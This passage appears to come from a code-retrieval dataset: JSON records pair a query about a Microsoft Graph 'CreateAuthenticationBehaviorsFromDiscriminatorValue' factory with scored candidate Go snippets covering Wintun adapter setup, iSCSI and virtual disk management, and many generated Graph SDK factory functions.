!= nil {\n\t\terr = fmt.Errorf(\"GetStringValueWait(NetCfgInstanceId) failed: %v\", err)\n\t\treturn\n\t}\n\t_, err = registryEx.GetIntegerValueWait(netDevRegKey, \"NetLuidIndex\", waitForRegistryTimeout)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"GetIntegerValueWait(NetLuidIndex) failed: %v\", err)\n\t\treturn\n\t}\n\t_, err = registryEx.GetIntegerValueWait(netDevRegKey, \"*IfType\", waitForRegistryTimeout)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"GetIntegerValueWait(*IfType) failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Get network interface.\n\twintun, err = makeWintun(devInfo, devInfoData, pool)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"makeWintun failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Wait for TCP/IP adapter registry key to emerge and populate.\n\ttcpipAdapterRegKey, err := registryEx.OpenKeyWait(\n\t\tregistry.LOCAL_MACHINE,\n\t\twintun.tcpipAdapterRegKeyName(), registry.QUERY_VALUE|registry.NOTIFY,\n\t\twaitForRegistryTimeout)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"OpenKeyWait(HKLM\\\\%s) failed: %v\", wintun.tcpipAdapterRegKeyName(), err)\n\t\treturn\n\t}\n\tdefer tcpipAdapterRegKey.Close()\n\t_, err = registryEx.GetStringValueWait(tcpipAdapterRegKey, \"IpConfig\", waitForRegistryTimeout)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"GetStringValueWait(IpConfig) failed: %v\", err)\n\t\treturn\n\t}\n\n\ttcpipInterfaceRegKeyName, err := wintun.tcpipInterfaceRegKeyName()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"tcpipInterfaceRegKeyName failed: %v\", err)\n\t\treturn\n\t}\n\n\t// Wait for TCP/IP interface registry key to emerge.\n\ttcpipInterfaceRegKey, err := registryEx.OpenKeyWait(\n\t\tregistry.LOCAL_MACHINE,\n\t\ttcpipInterfaceRegKeyName, registry.QUERY_VALUE|registry.SET_VALUE,\n\t\twaitForRegistryTimeout)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"OpenKeyWait(HKLM\\\\%s) failed: %v\", tcpipInterfaceRegKeyName, err)\n\t\treturn\n\t}\n\tdefer tcpipInterfaceRegKey.Close()\n\t// Disable dead gateway detection on our interface.\n\ttcpipInterfaceRegKey.SetDWordValue(\"EnableDeadGWDetect\", 0)\n\n\terr = wintun.SetName(ifname)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Unable to set name of Wintun interface: %v\", err)\n\t\treturn\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "18e7cfeff92b94d766926bea44331b39", "score": "0.45570192", "text": "func (Options) AllowDiskUse(b bool) option.OptAllowDiskUse {\n\topt := option.OptAllowDiskUse(b)\n\treturn opt\n}", "title": "" }, { "docid": "3960e92eaf11e7ed5ba452f014dc1f0d", "score": "0.45514783", "text": "func (cli *BaseClient) AddIscsiInitiator(ctx context.Context, initiator string) (map[string]interface{}, error) {\n\tdata := map[string]interface{}{\n\t\t\"ID\": initiator,\n\t}\n\n\tresp, err := cli.Post(ctx, \"/iscsi_initiator\", data)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcode := int64(resp.Error[\"code\"].(float64))\n\tif code == objectIdNotUnique {\n\t\tlog.AddContext(ctx).Infof(\"Iscsi initiator %s already exists\", initiator)\n\t\treturn cli.GetIscsiInitiatorByID(ctx, initiator)\n\t}\n\tif code != 0 {\n\t\tmsg := fmt.Sprintf(\"Add iscsi initiator %s error: %d\", initiator, code)\n\t\treturn nil, errors.New(msg)\n\t}\n\n\trespData := resp.Data.(map[string]interface{})\n\treturn respData, nil\n}", "title": "" }, { "docid": "73b53042750c8b27a55def40ecddb061", "score": "0.45300955", "text": "func NewDisk(loc string) (ObjectStorage, error) {\n\tif err := os.MkdirAll(path.Dir(loc), 0744); err != nil {\n\t\treturn nil, err\n\t}\n\tdb, err := sql.Open(\"sqlite3\", loc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t_, err = db.Exec(\"CREATE TABLE IF NOT EXISTS db (key text not null primary key, val bytea)\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &disk{db}, nil\n}", "title": "" }, { "docid": "683401dcb8c735b4156e36b8e84cac68", "score": "0.45264164", "text": "func (*CreateVolumeRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_netapp_v1_volume_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "0fb50d0725df5b77dba5bbef70bdcef4", "score": "0.45206288", "text": "func (r Network_Storage_Allowed_Host_Hardware) GetAssignedIscsiVolumes() (resp []datatypes.Network_Storage, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Network_Storage_Allowed_Host_Hardware\", \"getAssignedIscsiVolumes\", nil, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "0cb1417a01f3a98ac5b2f2f2ded914c0", "score": "0.45074573", "text": "func (virtualDisk *VirtualDisk) Create(ctx context.Context, datastore *vclib.Datastore) (string, error) {\n\tif virtualDisk.VolumeOptions.DiskFormat == \"\" {\n\t\tvirtualDisk.VolumeOptions.DiskFormat = vclib.ThinDiskType\n\t}\n\tif err := virtualDisk.VolumeOptions.VerifyVolumeOptions(); err != nil {\n\t\tklog.Errorf(\"VolumeOptions verification failed: %s (options: %+v)\", err, virtualDisk.VolumeOptions)\n\t\treturn \"\", fmt.Errorf(\"validation of parameters failed: %s\", err)\n\t}\n\tif virtualDisk.VolumeOptions.StoragePolicyID != \"\" && virtualDisk.VolumeOptions.StoragePolicyName != \"\" {\n\t\treturn \"\", fmt.Errorf(\"Storage Policy ID and Storage Policy Name both set, Please set only one parameter\")\n\t}\n\treturn getDiskManager(virtualDisk, VirtualDiskCreateOperation).Create(ctx, datastore)\n}", "title": "" }, { "docid": "69babed3b8216293f84ec3c5c9bfd8c3", "score": "0.4502138", "text": "func InterfaceDeviceWithSRIOVBinding(name string) kvirtv1.Interface {\n\treturn kvirtv1.Interface{\n\t\tName: name,\n\t\tInterfaceBindingMethod: kvirtv1.InterfaceBindingMethod{\n\t\t\tSRIOV: &kvirtv1.InterfaceSRIOV{},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "05c3cd932dcea7dc344ec624d164aec8", "score": "0.44907954", "text": "func (o RuntimeVirtualMachineVirtualMachineConfigDataDiskPtrOutput) Interface() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RuntimeVirtualMachineVirtualMachineConfigDataDisk) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Interface\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "c8af08aa1e0b1fa7e70855f1fab91f08", "score": "0.44879586", "text": "func (*AddVLANInterfaceRequest) Descriptor() ([]byte, []int) {\n\treturn file_agent_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "a4e554176cb111b16cb23132969f9e21", "score": "0.44773334", "text": "func Attach() (fs FieldSystem, err error) {\n\treturn AttachPath(DefaultPath)\n}", "title": "" }, { "docid": "ea6a95f7cd2c95cdbc0e9ec328a407e7", "score": "0.44659066", "text": "func NetInterface() string {\n\treturn cfg.DefaultString(\"backend::InterfaceHost\", \"eth0\")\n}", "title": "" } ]
3d2b611674981c9c507b53289268519d
CreateAuthenticationBehaviorsFromDiscriminatorValue creates a new instance of the appropriate class based on discriminator value
[ { "docid": "bc7ba7af8f94c8ee46bf5b274e651d22", "score": "0.8737825", "text": "func CreateAuthenticationBehaviorsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAuthenticationBehaviors(), nil\n}", "title": "" } ]
[ { "docid": "b589e41cb40fd01310e7d9f91c237ffd", "score": "0.62515014", "text": "func CreatePasswordlessMicrosoftAuthenticatorAuthenticationMethodFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPasswordlessMicrosoftAuthenticatorAuthenticationMethod(), nil\n}", "title": "" }, { "docid": "1855601f4b3d00e8e3f8aa2b2f472b7f", "score": "0.6235776", "text": "func CreateX509CertificateAuthenticationMethodConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewX509CertificateAuthenticationMethodConfiguration(), nil\n}", "title": "" }, { "docid": "d65adba084113dbb2422be4961da9ce4", "score": "0.61035943", "text": "func CreateMicrosoftAuthenticatorFeatureSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewMicrosoftAuthenticatorFeatureSettings(), nil\n}", "title": "" }, { "docid": "635baf3e6d71ae90d7bc26bf71eb2123", "score": "0.60965693", "text": "func CreateAppCredentialSignInActivityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAppCredentialSignInActivity(), nil\n}", "title": "" }, { "docid": "37865b4bff181ebad79b5d0788537cb3", "score": "0.60209423", "text": "func CreateAzureAdTokenAuthenticationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAzureAdTokenAuthentication(), nil\n}", "title": "" }, { "docid": "1b4effd613c0f8ac2806728da25bd87e", "score": "0.5948875", "text": "func CreateWindowsInformationProtectionAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.windowsInformationProtectionDesktopApp\":\n return NewWindowsInformationProtectionDesktopApp(), nil\n case \"#microsoft.graph.windowsInformationProtectionStoreApp\":\n return NewWindowsInformationProtectionStoreApp(), nil\n }\n }\n }\n }\n return NewWindowsInformationProtectionApp(), nil\n}", "title": "" }, { "docid": "f01200460055d66fc0fb806263343605", "score": "0.59234726", "text": "func CreateConfigurationManagerClientEnabledFeaturesFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewConfigurationManagerClientEnabledFeatures(), nil\n}", "title": "" }, { "docid": "f01200460055d66fc0fb806263343605", "score": "0.59234726", "text": "func CreateConfigurationManagerClientEnabledFeaturesFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewConfigurationManagerClientEnabledFeatures(), nil\n}", "title": "" }, { "docid": "d3257266ab2c0a6fa79ef1d53a32d722", "score": "0.5891379", "text": "func CreateAuthenticationAttributeCollectionInputConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAuthenticationAttributeCollectionInputConfiguration(), nil\n}", "title": "" }, { "docid": "95f10058866b0c3d6a88ac16cbc13bc2", "score": "0.5856147", "text": "func CreateAuthenticationMethodsRegistrationCampaignIncludeTargetFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAuthenticationMethodsRegistrationCampaignIncludeTarget(), nil\n}", "title": "" }, { "docid": "ed2feceaa4fd34d6b441351b76cdf329", "score": "0.58385813", "text": "func CreateConfigurationManagerClientInformationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewConfigurationManagerClientInformation(), nil\n}", "title": "" }, { "docid": "6c0e3f721eb3c220129e3bbc8c8a95f9", "score": "0.58357036", "text": "func CreateCredentialFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCredential(), nil\n}", "title": "" }, { "docid": "448206d3269583d931ae175b6a9b2200", "score": "0.5772095", "text": "func CreateSecurityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewSecurity(), nil\n}", "title": "" }, { "docid": "848089dd8765942c2e58e148f664ba58", "score": "0.57472503", "text": "func CreateCommunicationsApplicationIdentityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCommunicationsApplicationIdentity(), nil\n}", "title": "" }, { "docid": "bb367b499f0fe75f1e0f19b7be7c4c13", "score": "0.573456", "text": "func CreateConditionalAccessPolicyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewConditionalAccessPolicy(), nil\n}", "title": "" }, { "docid": "94d43f0eca0237584c32b055888b2a19", "score": "0.5726849", "text": "func CreateOnInteractiveAuthFlowStartListenerFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewOnInteractiveAuthFlowStartListener(), nil\n}", "title": "" }, { "docid": "586e2ec0cafd87c118502e48b6469970", "score": "0.5715746", "text": "func CreateGroupPolicyOperationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewGroupPolicyOperation(), nil\n}", "title": "" }, { "docid": "d15aa4c9d3d6577315774bcf6c437184", "score": "0.57092047", "text": "func CreateUserAccountInformationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUserAccountInformation(), nil\n}", "title": "" }, { "docid": "68eb6470818f2da33a28f0e8df1c9ad7", "score": "0.5696531", "text": "func CreateNetworkInterfaceFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewNetworkInterface(), nil\n}", "title": "" }, { "docid": "66b644955dfef309fc6d727035fe1d17", "score": "0.568936", "text": "func CreateCommunicationsApplicationInstanceIdentityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCommunicationsApplicationInstanceIdentity(), nil\n}", "title": "" }, { "docid": "0115051659023f93e1e6c04d74f7c5f6", "score": "0.5667434", "text": "func CreateDeviceManagementScriptUserStateFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDeviceManagementScriptUserState(), nil\n}", "title": "" }, { "docid": "f9f4e404960b7d1e642c68f365539eb4", "score": "0.5655118", "text": "func CreateRbacApplicationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewRbacApplication(), nil\n}", "title": "" }, { "docid": "57ac70bf0766a4c60c3bfc17237cef88", "score": "0.56441844", "text": "func CreatePasswordValidationInformationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPasswordValidationInformation(), nil\n}", "title": "" }, { "docid": "8a5a34c6e0db8ae065d7406ad00feeee", "score": "0.5622412", "text": "func CreateIdentityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewIdentity(), nil\n}", "title": "" }, { "docid": "f7638ceec9fc9cfea1192169612e7910", "score": "0.5621929", "text": "func CreateEducationIdentityMatchingConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewEducationIdentityMatchingConfiguration(), nil\n}", "title": "" }, { "docid": "079f10948b81154d1251a75a7b787519", "score": "0.5620328", "text": "func CreateAttackSimulationUserFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAttackSimulationUser(), nil\n}", "title": "" }, { "docid": "aaa1673960c8c69e2bc9d5b2c55df4e0", "score": "0.56130344", "text": "func CreateSessionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewSession(), nil\n}", "title": "" }, { "docid": "e32472c317c549f041a465d9b8742e6f", "score": "0.55091393", "text": "func CreateUserFlowLanguageConfigurationFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUserFlowLanguageConfiguration(), nil\n}", "title": "" }, { "docid": "8dac48c95d96601e42217f8c582581f1", "score": "0.5508902", "text": "func CreateCloudAppSecurityStateFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewCloudAppSecurityState(), nil\n}", "title": "" }, { "docid": "0aa1a21b648022633743371841fd26f5", "score": "0.5492575", "text": "func CreatePhotoFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPhoto(), nil\n}", "title": "" }, { "docid": "85417e9b9be4eb5a61322a93c80eeb34", "score": "0.54896444", "text": "func NewAuthenticationBehaviors()(*AuthenticationBehaviors) {\n m := &AuthenticationBehaviors{\n }\n m.backingStore = ie8677ce2c7e1b4c22e9c3827ecd078d41185424dd9eeb92b7d971ed2d49a392e.BackingStoreFactoryInstance();\n m.SetAdditionalData(make(map[string]any))\n return m\n}", "title": "" }, { "docid": "3eeb9d554345a888e8b4f2332344bc2c", "score": "0.54843676", "text": "func CreatePrivacyFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewPrivacy(), nil\n}", "title": "" }, { "docid": "46a18ca2af70e75b17a4375115c6ab68", "score": "0.54714787", "text": "func CreateEncryptWithUserDefinedRightsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewEncryptWithUserDefinedRights(), nil\n}", "title": "" }, { "docid": "b146c390b1ccf8ad1c8b2c80e39426ae", "score": "0.5462847", "text": "func CreateUserExperienceAnalyticsAnomalyCorrelationGroupFeatureFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUserExperienceAnalyticsAnomalyCorrelationGroupFeature(), nil\n}", "title": "" }, { "docid": "483052032e624e8d7cbac68b6de276c7", "score": "0.54566664", "text": "func CreateVulnerabilityStateFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewVulnerabilityState(), nil\n}", "title": "" }, { "docid": "01132a36b6335b38609eccf5c0d94557", "score": "0.54445267", "text": "func CreateServiceEndpointFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewServiceEndpoint(), nil\n}", "title": "" }, { "docid": "1affe7d3913500267b7e66593eced98f", "score": "0.54443556", "text": "func CreateServiceLevelAgreementAttainmentFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewServiceLevelAgreementAttainment(), nil\n}", "title": "" }, { "docid": "3ae4b8590e0e2f6b916feab411a26965", "score": "0.5440484", "text": "func CreateWin32LobAppInstallExperienceFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWin32LobAppInstallExperience(), nil\n}", "title": "" }, { "docid": "9f834b43a9c69adf6661ea4bda0e7cb9", "score": "0.5438908", "text": "func CreateIosSingleSignOnExtensionFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.iosAzureAdSingleSignOnExtension\":\n return NewIosAzureAdSingleSignOnExtension(), nil\n case \"#microsoft.graph.iosCredentialSingleSignOnExtension\":\n return NewIosCredentialSingleSignOnExtension(), nil\n case \"#microsoft.graph.iosKerberosSingleSignOnExtension\":\n return NewIosKerberosSingleSignOnExtension(), nil\n case \"#microsoft.graph.iosRedirectSingleSignOnExtension\":\n return NewIosRedirectSingleSignOnExtension(), nil\n }\n }\n }\n }\n return NewIosSingleSignOnExtension(), nil\n}", "title": "" }, { "docid": "a52ed9affd2625b4f5786c6c166eca73", "score": "0.54389024", "text": "func CreateApprovalSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewApprovalSettings(), nil\n}", "title": "" }, { "docid": "a52ed9affd2625b4f5786c6c166eca73", "score": "0.54389024", "text": "func CreateApprovalSettingsFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewApprovalSettings(), nil\n}", "title": "" }, { "docid": "dada52ab7f3e0c8ffbf471ff913230a9", "score": "0.5438074", "text": "func CreateNotificationReceiverFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewNotificationReceiver(), nil\n}", "title": "" }, { "docid": "c7fb5d3272db4322f1d87606ce96c3f0", "score": "0.54319996", "text": "func CreateDomainFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDomain(), nil\n}", "title": "" }, { "docid": "79a8df09718148deaa6678af99545df3", "score": "0.5419209", "text": "func CreateWindowsInformationProtectionStoreAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWindowsInformationProtectionStoreApp(), nil\n}", "title": "" }, { "docid": "7bd3adecccc2b5aceed8ee9973ec53f5", "score": "0.5404295", "text": "func CreateWin32LobAppFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewWin32LobApp(), nil\n}", "title": "" }, { "docid": "036822d1e21ec3053393a7955d681157", "score": "0.5399059", "text": "func CreateAclFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewAcl(), nil\n}", "title": "" }, { "docid": "f67167ff4fcc099ddf559a86bdd3f357", "score": "0.5396695", "text": "func CreateDeviceFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDevice(), nil\n}", "title": "" }, { "docid": "a59586bcbe8bdbc7f11d575ed5e49953", "score": "0.53901637", "text": "func CreateDataProcessorServiceForWindowsFeaturesOnboardingFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewDataProcessorServiceForWindowsFeaturesOnboarding(), nil\n}", "title": "" }, { "docid": "436bbc9fdce58ea1cf815a21ef6d98bd", "score": "0.536939", "text": "func CreateRequestorManagerFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewRequestorManager(), nil\n}", "title": "" }, { "docid": "ebb6130c98402d2f565e77b0eeb12d5c", "score": "0.5363667", "text": "func CreateUnifiedRoleManagementPolicyAuthenticationContextRuleFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewUnifiedRoleManagementPolicyAuthenticationContextRule(), nil\n}", "title": "" }, { "docid": "b51bbf4eeca17d79c98306d528f03231", "score": "0.5354205", "text": "func CreateIdentityContainerFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewIdentityContainer(), nil\n}", "title": "" }, { "docid": "350948ec359d1baf79f0a8f1acfa902a", "score": "0.53514737", "text": "func CreateMeetingCapabilityFromDiscriminatorValue(parseNode 